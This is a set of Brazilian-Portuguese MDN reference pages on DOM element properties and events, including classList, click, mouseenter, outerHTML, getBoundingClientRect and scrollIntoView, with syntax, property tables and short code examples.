{"title":"Element.classList - APIs da Web","text":"Element.classList\n=================\n\nO **Element.classList** é uma propriedade somente leitura que retorna uma coleção `DOMTokenList` (en-US) ativa dos atributos de classe do elemento.\n\nUsar **classList** é uma alternativa conveniente para acessar a lista de classes de um elemento como uma seqüência delimitada por espaço através de `element.className`.\n\nSintaxe\n-------\n```\n\nconst elementClasses = elementNodeReference.classList;\n```\n\n\n**elementClasses** é um DOMTokenList que representa o atributo de classe de ***elementNodeReference***. Se o atributo de classe não foi definido ou está vazio **elementClasses.length** retorna 0. **element.classList** propriamente dito é somente leitura, embora você possa modificá-lo usando os métodos **add()** e **remove()**.\n\nMétodos\n-------\n\nadd( String [, String] )\n\nAdicione valores de classe especificados. Se essas classes já existem no atributo do elemento, elas são ignoradas.\n\nremove( String [,String] )\n\nRemover valores de classe específicos.\n\n**item** ( Number )\n\nRetorna o valor da classe por índice na coleção.\n\n**toggle** ( String [, force] )\n\n Quando apenas um argumento está presente: Toggle class value; Ou seja, se a classe existir, em seguida, removê-lo e retornar false, se não, então adicioná-lo e retornar true.\n Quando um segundo argumento está presente: Se o segundo argumento é avaliado como true, adicione o valor especificado da classe e, se ele for avaliado como false, remova-o.\n\n\ncontains( String )\n\nVerifica se o valor da classe especificado existe no atributo de classe do elemento.\n\nExemplos\n--------\n\n\n```js\n// div é uma referência de objeto para um elemento <div> com class = \"foo bar\"\ndiv.classList.remove(\"foo\");\ndiv.classList.add(\"anotherclass\");\n\n// Se estiver visível, remova-o, caso contrário, adicione-o\ndiv.classList.toggle(\"visible\");\n\n// adicionar/remover, dependendo do teste condicional, i menos de 10\ndiv.classList.toggle(\"visible\", i < 10);\n\nalert(div.classList.contains(\"foo\"));\n\n// adicionar ou remover várias classes\ndiv.classList.add(\"foo\", \"bar\");\ndiv.classList.remove(\"foo\", \"bar\");\n```\n\n\n**Nota:** As versões do Firefox antes de 26 não implementam o uso de vários argumentos nos métodos add / remove / toggle. Veja https://bugzilla.mozilla.org/show\\_bug.cgi?id=814014\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-element-classlist① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `element.className`\n* `DOMTokenList` (en-US);"}
{"title":"click - APIs da Web","text":"click\n=====\n\nO evento `click` event é disparado quando o botão de um dispositivo apontador (normalmente o botão de um mouse) é pressionado e solto logo em seguida em um mesmo elemento.\n\nInformações gerais\n------------------\n\nEspecificação\n\nDOM L3\n\nInterface\n`MouseEvent`\nBubbles\n\nSim\n\nCancelável\n\nSim\n\nTarget\n\nElement\n\nAção padrão\n\nVariável\n\nPropriedades\n------------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | O alvo do evento (o mais alto na arvore de DOM). |\n| `type` Somente leitura  | `DOMString` | Tipo do evento. |\n| `bubbles` Somente leitura  | `Boolean` (en-US) | Se o evento \"bubbles\" naturalmente ou não. |\n| `cancelable` Somente leitura  | `Boolean` (en-US) | Se o evento é cancelável ou não |\n| `view` Somente leitura  | `WindowProxy` | `document.defaultView` (`window` do documento) |\n| `detail` Somente leitura  | `long` (`float`) | Um contador de cliques consecutivos que ocorrem em um curto espaço de tempo, incrementado em 1. |\n| `currentTarget` Somente leitura  | EventTarget | O node que contem o eventListener. |\n| `relatedTarget` Somente leitura  | EventTarget | Para eventos `mouseover`, `mouseout`, `mouseenter` e `mouseleave`: o alvo do evento complementar (o `mouseleave` no caso de um evento `mouseenter` ). `null` , se falso. |\n| `screenX` Somente leitura  | long | A coordenada X do ponteiro do mouse na tela. |\n| `screenY` Somente leitura  | long | A coordenada Y do ponteiro do mouse na tela. |\n| `clientX` Somente leitura  | long | A coordenada X do ponteiro do mouse no DOM atual. |\n| `clientY` Somente leitura  | long | A coordenada Y do ponteiro do mouse no DOM atual. |\n| `button` Somente leitura  | unsigned short | The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left. |\n| `buttons` Somente leitura  | unsigned short | The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, \"Browser Back\" button)=8, 5th button (typically, \"Browser Forward\" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). More info. |\n| `mozPressure` Somente leitura  | float | The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure). |\n| `ctrlKey` Somente leitura  | boolean | `true` if the control key was down when the event was fired. `false` otherwise. |\n| `shiftKey` Somente leitura  | boolean | `true` if the shift key was down when the event was fired. `false` otherwise. |\n| `altKey` Somente leitura  | boolean | `true` if the alt key was down when the event was fired. `false` otherwise. |\n| `metaKey` Somente leitura  | boolean | `true` if the meta key was down when the event was fired. `false` otherwise. |\n\nExemplo\n-------\n\n\n```js\n<div id=\"test\"></div>\n\n<script>\n  document.getElementById(\"test\").addEventListener(\"click\", function( event ) {\n    // mostra o contador de cliques dentro da div clicada\n    event.target.innerHTML = \"Total de cliques: \" + event.detail;\n  }, false);\n</script>\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\n### Internet Explorer\n\nO Internet Explorer 8 e 9 apresentam um bug onde o elemento com a propriedade `background-color` é definida como `transparent` that are overlaid on top of other element(s) won't receive `click` events. Todos os eventos `click` serão disparados no elemento underlying instead. Veja uma demonstração neste exemplo.\n\nSoluções de contorno para este bug:\n\n* Somente para o IE9:\n    + Defina o ``background-color` como: rgba(0,0,0,0)`\n    + Defina a ``opacity` como: 0` e defina explicitamente `background-color` com outro valor diferente de `transparent`\n* Para IE8 e IE9: Defina a propriedade `filter como: alpha(opacity=0);` e o `background-color` com outro valor diferente de `transparent`\n### Safari Mobile\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSafari Mobile 7.0+ (and likely earlier versions too) suffers from a bug where `click` events aren't fired on elements that aren't typically interactive (e.g. `<div>`) and which also don't have event listeners directly attached to the elements themselves (i.e. event delegation is being used). See this live example for a demonstration. See also Safari's docs on making elements clickable and the definition of \"clickable element\".\n\nKnown workarounds for this bug:\n\n* Set `cursor``: pointer;` on the element or any of its ancestors.\n* Add a dummy `onclick=\"void(0)\"` attribute to the element or any of its ancestors up to but not including `<body>`.\n* Use a typically interactive element (e.g. `<a>`) instead of one that isn't typically interactive (e.g. `<div>`).\n* Stop using `click` event delegation.\n\nSafari Mobile considers the following elements to be typically interactive (and thus they aren't affected by this bug):\n\n* `<a>` (but it must have an `href`)\n* `<area>` (but it must have an `href`)\n* `<button>`\n* `<img>`\n* `<input>`\n* `<label>` (but it must be associated with a form control)\n* `<textarea>`\n* *This list is incomplete; you can help MDN by doing further testing/research and expanding it.*\nSee also\n--------\n\n* `mousedown (en-US)`\n* `mouseup (en-US)`\n* `mousemove (en-US)`\n* `click (en-US)`\n* `dblclick (en-US)`\n* `mouseover (en-US)`\n* `mouseout (en-US)`\n* `mouseenter (en-US)`\n* `mouseleave (en-US)`\n* `contextmenu (en-US)`"}
{"title":"mouseenter - APIs da Web","text":"mouseenter\n==========\n\nO evento `mouseenter` é disparado quando um dispositivo de apontamento (geralmente um mouse) se move sobre um elemento (para dentro do mesmo).\n\nSimilar ao `mouseover (en-US)`, ele se diferencia no fato de que não ocorre a fase bubble (en-US) e não é disparado quando o cursor / apontador mover-se do espaço físico de um de seus descendentes para o seu próprio espaço físico.\n\n![mouseenter.png](/pt-BR/docs/Web/API/Element/mouseenter_event/mouseenter.png)Um evento `mouseenter` é enviado para cada elemento da hierarquia ao entrar neles. Aqui 4 eventos são enviados aos quatro elementos da hierarquia quando o cursor / apontador chega no Text.\n ![mouseover.png](/pt-BR/docs/Web/API/Element/mouseenter_event/mouseover.png)Um único evento `mouseover` é enviado ao elemento de maior profundidade na árvore DOM, a partir do qual ocorre a fase bubble e o mesmo percorre subindo na hierarquia dos elementos até que seja cancelado por um *handler* ou alcance a raíz da árvore.\n\nDe acordo com a profundidade da hierarquia, a quantidade de eventos `mouseenter` disparados pode se tornar muito grande e causar problemas de performance significativos. Nestes casos é melhor escutar por eventos mouseover.\n\nCombinado ao comportamento do seu evento simétrico, `mouseleave`, o evento DOM `mouseenter` age de modo bastante similar à pseudo-classe CSS `:hover`.\n\nInformações Gerais\n------------------\n\nEspecificação\n\nDOM L3\n\nInterface\n`MouseEvent`\nSincronismo\n\nSíncrono\n\nFase Bubble\n\nNão\n\nCancelável\n\nNão\n\nTarget\n\nElement\n\nAção Padrão\n\nNenhuma\n\nPropriedades\n------------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | The event target (the topmost target in the DOM tree). |\n| `type` Somente leitura  | `DOMString` | The type of event. |\n| `bubbles` Somente leitura  | Boolean | Whether the event normally bubbles or not |\n| `cancelable` Somente leitura  | `Boolean` | Whether the event is cancellable or not? |\n| `view` Somente leitura  | `WindowProxy` | `document.defaultView` (`window` of the document) |\n| `detail` Somente leitura  | `long` (`float`) | 0. |\n| `currentTarget` Somente leitura  | `EventTarget` | The node that had the event listener attached. |\n| `relatedTarget` Somente leitura  | `EventTarget` | For `mouseover`, `mouseout`, `mouseenter` and `mouseleave` events: the target of the complementary event (the `mouseleave` target in the case of a `mouseenter` event). `null` otherwise. |\n| `screenX` Somente leitura  | long | The X coordinate of the mouse pointer in global (screen) coordinates. |\n| `screenY` Somente leitura  | long | The Y coordinate of the mouse pointer in global (screen) coordinates. |\n| `clientX` Somente leitura  | long | The X coordinate of the mouse pointer in local (DOM content) coordinates. |\n| `clientY` Somente leitura  | long | The Y coordinate of the mouse pointer in local (DOM content) coordinates. |\n| `button` Somente leitura  | unsigned short | The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left. |\n| `buttons` Somente leitura  | unsigned short | The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, \"Browser Back\" button)=8, 5th button (typically, \"Browser Forward\" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). More info. |\n| `mozPressure` Somente leitura  | float | The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure). |\n| `ctrlKey` Somente leitura  | boolean | `true` if the control key was down when the event was fired. `false` otherwise. |\n| `shiftKey` Somente leitura  | boolean | `true` if the shift key was down when the event was fired. `false` otherwise. |\n| `altKey` Somente leitura  | boolean | `true` if the alt key was down when the event was fired. `false` otherwise. |\n| `metaKey` Somente leitura  | boolean | `true` if the meta key was down when the event was fired. `false` otherwise. |\n\nExamples\n--------\n\nThe `mouseover` documentation has an example illustrating the difference between `mouseover` and `mouseenter`.\n\nThe following example illustrates how to use `mouseover` to simulate the principle of event delegation for the mouseenter event.\n\n\n```html\n<ul id=\"test\">\n  <li>\n    <ul class=\"enter-sensitive\">\n      <li>item 1-1</li>\n      <li>item 1-2</li>\n    </ul>\n  </li>\n  <li>\n    <ul class=\"enter-sensitive\">\n      <li>item 2-1</li>\n      <li>item 2-2</li>\n    </ul>\n  </li>\n</ul>\n\n<script>\n var delegationSelector = \".enter-sensitive\";\n\n document.getElementById(\"test\").addEventListener(\n \"mouseover\",\n function (event) {\n var target = event.target,\n related = event.relatedTarget,\n match;\n\n // search for a parent node matching the delegation selector\n while (\n target &&\n target != document &&\n !(match = matches(target, delegationSelector))\n ) {\n target = target.parentNode;\n }\n\n // exit if no matching node has been found\n if (!match) {\n return;\n }\n\n // loop through the parent of the related target to make sure that it's not a child of the target\n while (related && related != target && related != document) {\n related = related.parentNode;\n }\n\n // exit if this is the case\n if (related == target) {\n return;\n }\n\n // the \"delegated mouseenter\" handler can now be executed\n // change the color of the text\n target.style.color = \"orange\";\n // reset the color after a small amount of time\n setTimeout(function () {\n target.style.color = \"\";\n }, 500);\n },\n false,\n );\n\n // function used to check if a DOM element matches a given selector\n // the following code can be replaced by this IE8 compatible function: https://gist.github.com/2851541\n function matches(elem, selector) {\n // the matchesSelector is prefixed in most (if not all) browsers\n return elem.matchesSelector(selector);\n }\n</script>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # event-type-mouseenter |\n| HTML Standard # handler-onmouseenter |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `mousedown (en-US)`\n* `mouseup (en-US)`\n* `mousemove (en-US)`\n* `click (en-US)`\n* `dblclick (en-US)`\n* `mouseover (en-US)`\n* `mouseout (en-US)`\n* `mouseenter (en-US)`\n* `mouseleave (en-US)`\n* `contextmenu (en-US)`"}
{"title":"Element.id - APIs da Web","text":"Element.id\n==========\n\nA propriedade **`Element.id`** representa o identificador do elemento, refletindo no atributo global **id**.\n\nO ID precisa ser único no documento, e geralmente é utilizado para obter o elemento usando `getElementById`.. Outro uso comum de `id` é utilizar o ID como um seletor ao estilizar o documento com CSS.\n\n**Nota:** IDs são case-sensitive, mas você não deve criar IDs cuja única diferença nos nomes sejam letras maiúsculas/minúsculas (veja Case sensitivity in class and id names).\n\nSintaxe\n-------\n```\n\nvar idStr = element.id; // Retorna o id.\nelement.id = idStr; // Insere o id\n```\n\n\n* `idStr` é o identificador do elemento.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-element-id① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O atributo global **id**."}
{"title":"Element.querySelectorAll() - APIs da Web","text":"Element.querySelectorAll()\n==========================\n\nSumário\n-------\n\nRetorna uma `NodeList` (en-US) de todos os elementos descendentes do elemento que foi invocado que sejam compatíveis com o grupo de seletores CSS especificados.\n\nSintaxe\n-------\n```\n\nelementList = baseElement.querySelectorAll(selectors);\n```\n\n\nOnde\n\n* `elementList` é uma lista não-viva de objetos element (en-US).\n* `baseElement` é um objeto elemento (en-US).\n* `selectors` é um grupo de seletores (en-US) que serão procurados.\nExemplos\n--------\n\nEste exemplo retorna uma lista de todos os elementos `p` no corpo do HTML:\n\n\n```js\nvar matches = document.body.querySelectorAll(\"p\");\n```\n\n\nEste exemplo retorna uma lista de elementos `p` que estejam contidos em outro elemento, o qual é uma `div` que tem a classe 'highlighted':\n\n\n```js\nvar el = document.querySelector(\"#test\");\nvar matches = el.querySelectorAll(\"div.highlighted > p\");\n```\n\n\nEste exemplo retorna uma lista de elementos `iframe` que contenham um atributo **data** 'src':\n\n\n```js\nvar matches = el.querySelectorAll(\"iframe[data-src]\");\n```\n\nNotas\n-----\n\nJoga uma excessão `SYNTAX_ERR` se o grupo especificado de seletores for inválido.\n\n`querySelectorAll()` foi introduzida na WebApps API.\n\nA *string* passada como argumento para `querySelectorAll` deve seguir a sintaxe do CSS. veja `document.querySelector` para um exemplo concreto.\n\nLembre-se que o valor retornado é uma NodeList, então não é recomendado o uso de recursões for...in, nem de nenhum método de *array*. Se realmente houver a necessidade de usar métodos de uma *array,* então o NodeList deve ser convertido em uma *array* antes de ser usado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-parentnode-queryselectorall① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `document.querySelectorAll`\n* `document.querySelector`\n* Code snippets for `querySelector`"}
{"title":"Element.getBoundingClientRect() - APIs da Web","text":"Element.getBoundingClientRect()\n===============================\n\nO método `Element.getBoundingClientRect() retorna o tamanho de um elemento e sua posição relativa ao viewport.`\n\nSintaxe\n-------\n```\n\nrectObject = object.getBoundingClientRect();\n```\n\n### Valor de retorno\n\nO valor de retorno é o objeto DOMRect que é a uniāo dos retângulos retornados por `getClientRects()` (en-US) para o elemento, ou seja, os atributos border-boxes do CSS associados ao elemento.\n\nO valor retornado é um objeto `DOMRect`, que contém as propriedades apenas-leitura `left`, `top`, `right` e `bottom` que descrevem o border-box em pixels. `top` e `left` são relativos às propriedades top-left do *viewport*.\n\n**Nota:** Gecko 1.9.1 adiciona as propriedades `width` e `height` ao objeto `DOMRect`.\n\nBorder-boxes vazias são completamente ignoradas. Se todos os border-boxes do elemento são vazias, então é retornado o retângulo com width e height como zero, e no lugar de `top` e `left` determina-se o top-left do border-box relacionado ao primeiro box CSS (determinado pela ordem do conteúdo) em relaçāo ao elemento.\n\nA quantidade de scrolling que foi feita na área do viewport (ou qualquer outra área de qualquer outro elemento *scrollable*) é tomada com medida ao computar o delimitador do retângulo. Isso significa que as propriedades `top` e `left` mudam seus valores tão logo a posiçāo do scroll for alterada (assim seus valores sāo relativos ao viewport e não são absolutos). Se esse não for o comportamento esperado basta adicionar a posição atual do scroll para as propriedades `top` e `left` (via `window.scrollX` e `window.scrollY`) para pegar os valores constantes independentemente da posiçāo atual do scroll.\n\nScripts que requerem uma alta compatibilidade cross-browser podem usar `window.pageXOffset` e `window.pageYOffset` ao invés de `window.scrollX` e `window.scrollY`. Scripts sem acesso ao `window.pageXOffset`, `window.pageYOffset`, `window.scrollX` e `window.scrollY` podem usar:\n\n\n```js\n// Para o scrollX\n(((t = document.documentElement) || (t = document.body.parentNode)) &&\ntypeof t.ScrollLeft == \"number\"\n  ? t\n  : document.body\n).ScrollLeft(\n  // Para o scrollY\n  ((t = document.documentElement) || (t = document.body.parentNode)) &&\n    typeof t.ScrollTop == \"number\"\n    ? t\n    : document.body,\n).ScrollTop;\n```\n\nExemplo\n-------\n\n\n```js\n// rect é um objeto DOMRect com seis propriedades: left, top, right, bottom, width, height\nvar rect = obj.getBoundingClientRect();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-element-getboundingclientrect |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* MSDN: `getBoundingClientRect`\n* `getClientRects()` (en-US)"}
{"title":"Element.outerHTML - APIs da Web","text":"Element.outerHTML\n=================\n\nSumário\n-------\n\nO atributo `outerHTML` da estrutura DOM(Document object model) obtem um fragmento serializado de código HTML descrevendo o elemento incluindo seus descendentes. É possível substituir o elemento em questão com nós obtidos através da análise de uma string.\n\nSintaxe\n-------\n\n*var conteudo* = *elemento*.outerHTML;\n\nNa atribuição, *conteudo* armazena o fragmento de código HTML que descreve o elemento e seus descentes.\n```\n\nelemento.outerHTML = conteudo;\n```\n\n\n`Atribui a elemento` os nós obtidos pela análise da string `conteudo`, tendo nó pai de elemento como nó de contexto o para o algoritmo de análise do fragmento de código HTML.\n\nExemplos\n--------\n\nObtendo o valor da propriedade outerHtml de um elemento :\n\n\n```js\n// HTML:\n// <div id=\"d\"><p>Conteúdo</p><p>Parágrafo</p></div>\n\nd = document.getElementById(\"d\");\ndump(d.outerHTML);\n\n// A string '<div id=\"d\"><p>Conteúdo</p><p>Parágrafo</p></div>'\n// é mostrada na janela do console.\n```\n\n\nSubstituindo um nó atribuindo- lhe a propriedade outerHTML\n\n\n```js\n// HTML:\n// <div id=\"container\"><div id=\"d\">Isto é uma div.</div></div>\n\ncontainer = document.getElementById(\"container\");\nd = document.getElementById(\"d\");\nconsole.log(container.firstChild.nodeName); // mostra \"DIV\"\n\nd.outerHTML = \"<p>Este parágrafo substitui a div original</p>\";\nconsole.log(container.firstChild.nodeName); // mostra \"P\"\n\n// A div #d não faz mais parte da estrutura do documento,\n// O novo parágrafo a substituiu.\n```\n\nNotas\n-----\n\nSe o elemento não tiver um nó pai, ou seja se o nó é a raiz do documento, tentar alterar sua propriedade outerHTML irá lançar um `DOMException` com o código de erro `NO_MODIFICATION_ALLOWED_ERR`. Por exemplo:\n\n\n```js\ndocument.documentElement.outerHTML = \"test\"; // Irá lançar uma DOMException\n```\n\n\ninclusive, quando o elemento for substituído na estrutura do documento, a variável a qual a propriedade `outerHTML` foi atribuída ainda irá conter uma referência para o elemento original.\n\n\n```js\nvar p = document.getElementsByTagName(\"p\")[0];\nconsole.log(p.nodeName); // mostra: \"P\"\np.outerHTML = \"<div>Esta div substituiu o parágrafo.</div>\";\nconsole.log(p.nodeName); // ainda contém \"P\";\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Parsing and Serialization # dom-element-outerhtml |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `HTMLElement.outerText` (en-US)\n* MSDN: outerHTML Property"}
{"title":"Element.scrollWidth - APIs da Web","text":"Element.scrollWidth\n===================\n\nA propriedade de somente leitura **`Element.scrollWidth`** retorna a largura em pixels do conteúdo de um elemento ou a largura do elemento em si, o que for maior. Se o elemento for mais amplo do que a área de conteúdo (por exemplo, se houver barras de rolagem para percorrer o conteúdo), o `scrollWidth` é maior do que o `clientWidth`.\n\n**Nota:** Esta propriedade irá arredondar o valor para um número inteiro. Se você precisar de um valor fracionário, use `element.getBoundingClientRect()`.\n\nSyntaxe\n-------\n```\n\nvar xScrollWidth = element.scrollWidth;\n```\n\n\n*xScrollWidth* é a largura do conteúdo do *elemento* em pixels.\n\nExemplo\n-------\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <title>Example</title>\n    <style>\n div {\n overflow: hidden;\n white-space: nowrap;\n text-overflow: ellipsis;\n }\n\n #aDiv {\n width: 100px;\n }\n\n button {\n margin-bottom: 2em;\n }\n </style>\n  </head>\n\n  <body>\n    <div id=\"aDiv\">FooBar-FooBar-FooBar-FooBar</div>\n    <button id=\"aButton\">Check for overflow</button>\n\n    <div id=\"anotherDiv\">FooBar-FooBar-FooBar-FooBar</div>\n    <button id=\"anotherButton\">Check for overflow</button>\n  </body>\n  <script>\n var buttonOne = document.getElementById(\"aButton\"),\n buttonTwo = document.getElementById(\"anotherButton\"),\n divOne = document.getElementById(\"aDiv\"),\n divTwo = document.getElementById(\"anotherDiv\");\n\n //check to determine if an overflow is happening\n function isOverflowing(element) {\n return element.scrollWidth > element.offsetWidth;\n }\n\n function alertOverflow(element) {\n if (isOverflowing(element)) {\n alert(\"Contents are overflowing the container.\");\n } else {\n alert(\"No overflows!\");\n }\n }\n\n buttonOne.addEventListener(\"click\", function () {\n alertOverflow(divOne);\n });\n\n buttonTwo.addEventListener(\"click\", function () {\n alertOverflow(divTwo);\n });\n </script>\n</html>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-element-scrollwidth |\n\nReferências\n-----------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Element.clientWidth` (en-US)\n* `HTMLElement.offsetWidth`\n* Determinando as dimensões dos elementos (en-US)"}
{"title":"touchstart - APIs da Web","text":"touchstart\n==========\n\n`O evento touchstart` é acionado quando o ponteiro de toque *(dedo ou caneta)* é aplicado sobre à superfície de toque da tela *(toque sobre a tela no elemento alvo)*.\n\nInfo Geral\n----------\n\nEspecificações\n\nTouch Events\n\nInterface\n`TouchEvent` (en-US)\nBubbles\n\nSim\n\nCancelável\n\nSim\n\nAlvo\n\nDocumento, Elemento\n\nAção Padrão\n\nundefined (indefinido)\n\nPropriedades\n------------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | EventTarget | The event target (the topmost target in the DOM tree). |\n| `type` Somente leitura  | DOMString | The type of event. |\n| `bubbles` Somente leitura  | Boolean | Whether the event normally bubbles or not. |\n| `cancelable` Somente leitura  | Boolean | Whether the event is cancellable or not. |\n| `view` Somente leitura  | WindowProxy | `document.defaultView` (`window` of the document) |\n| `detail` Somente leitura  | long (float) | 0. |\n| `touches` Somente leitura  | TouchList | A list of `Touch`es for every point of contact currently touching the surface. |\n| `targetTouches` Somente leitura  | TouchList | A list of `Touch`es for every point of contact that is touching the surface and started on the element that is the target of the current event. |\n| `changedTouches` Somente leitura  | TouchList | A list of `Touch` (en-US)es for every point of contact which contributed to the event. For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface. |\n| `ctrlKey` Somente leitura  | boolean | `true` if the control key was down when the event was fired. `false` otherwise. |\n| `shiftKey` Somente leitura  | boolean | `true` if the shift key was down when the event was fired. `false` otherwise. |\n| `altKey` Somente leitura  | boolean | `true` if the alt key was down when the event was fired. `false` otherwise. |\n| `metaKey` Somente leitura  | boolean | `true` if the meta key was down when the event was fired. `false` otherwise. |\n\nExemplos\n--------\n\nOs códigos de exemplos para este evento estão disponíveis nesta página dedicada: Touch events.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Touch Events # event-touchstart |\n| Touch Events # dom-globaleventhandlers-ontouchstart |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nEventos Relacionados\n--------------------\n\n* `ontouchstart` (en-US)"}
{"title":"Element.scrollIntoView() - APIs da Web","text":"Element.scrollIntoView()\n========================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since September 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO método **`Element.scrollIntoView()`** move o elemento ao qual é aplicado para a área visível da janela do navegador.\n\nSintaxe\n-------\n```\n\nelement.scrollIntoView(); // Equivalente a element.scrollIntoView(true)\nelement.scrollIntoView(alignToTop); // Argumentos booleanos\nelement.scrollIntoView(scrollIntoViewOptions); // argumento Objeto\n```\n\n### Parâmetros\n\n`alignToTop` Optional\n\nÉ um valor `Boolean`:\n\n* Se `true`, a parte superior do elemento ficará alinhada com o topo da área visível do elemento-pai. Correponde a `scrollIntoViewOptions: {block: \"start\", inline: \"nearest\"}`. Este é o valor default.\n* `Se false`, a parte inferior do elemento ficará alinhada com o fundo da área visível do elemento-pai. Corresponde a `scrollIntoViewOptions: {block: \"end\", inline: \"nearest\"}`\n\n`scrollIntoViewOptions` Optional\n\nUm booleano ou um objeto com as seguintes opções:\n\n\n```webidl\n{\n  behavior: \"auto\"  | \"instant\" | \"smooth\",\n  block:    \"start\" | \"center\" | \"end\" | \"nearest\",\n  inline:   \"start\" | \"center\" | \"end\" | \"nearest\"\n}\n```\n\n\nCaso seja um valor booleano, true corresponde a `{block: \"start\"}` e false a `{block: \"end\"}`\n\n.\n\nExemplo\n-------\n\n\n```js\nvar element = document.getElementById(\"box\");\n\nelement.scrollIntoView();\nelement.scrollIntoView(false);\nelement.scrollIntoView({ block: \"end\" });\nelement.scrollIntoView({ block: \"end\", behavior: \"smooth\" });\n```\n\nObservações\n-----------\n\nO elemento poderá não ser movido completamento ao topo ou ao fundo dependendo de sua composição com outros elementos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-element-scrollintoview |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Element.scrollIntoViewIfNeeded()` (en-US) \nNon-standard"}
{"title":"focus - APIs da Web","text":"focus\n=====\n\nO evento `focus` é acionado assim que um elemento recebe um foco. O grande diferencial entre este evento e o evento `focusin` (en-US), é que esse segundo \"borbulha\".\n\nInformações Gerais\n------------------\n\nEspecificação\n\nDOM L3\n\nInterface\n`FocusEvent` (en-US)\nBorbulha\n\nNão\n\nCancelável\n\nNão\n\nAlvo\n\nElement\n\nAção Padrão\n\nNenhuma.\n\n\n**Nota:** Note: The interface was `Event` prior to Gecko 24. (Firefox bug 855741)\n\nPropriedades\n------------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | Event target (DOM element) |\n| `type` Somente leitura  | `DOMString` | The type of event. |\n| `bubbles` Somente leitura  | `Boolean` | Whether the event normally bubbles or not. |\n| `cancelable` Somente leitura  | `Boolean` | Whether the event is cancellable or not. |\n| `relatedTarget` Somente leitura  | `EventTarget` (DOM element) | null |\n\nEventos Delegados\n-----------------\n\nExistem 2 maneiras diferentes de implementações delegados a partir de um evento: por meio da utilização do evento `focusin` que todos os browsers atuais suportam tão tecnologia (todos exceto o Firefox), ou por setando o parâmetro \"useCapture\" do elemento `addEventListener` como `true`:\n\n(Exemplo de codigo do evento blur (event))\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # event-type-focus |\n| HTML Standard # handler-onfocus |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nEventos Relacionais\n-------------------\n\n* `focus (en-US)`\n* `blur (en-US)`\n* `focusin (en-US)`\n* `focusout (en-US)`"}
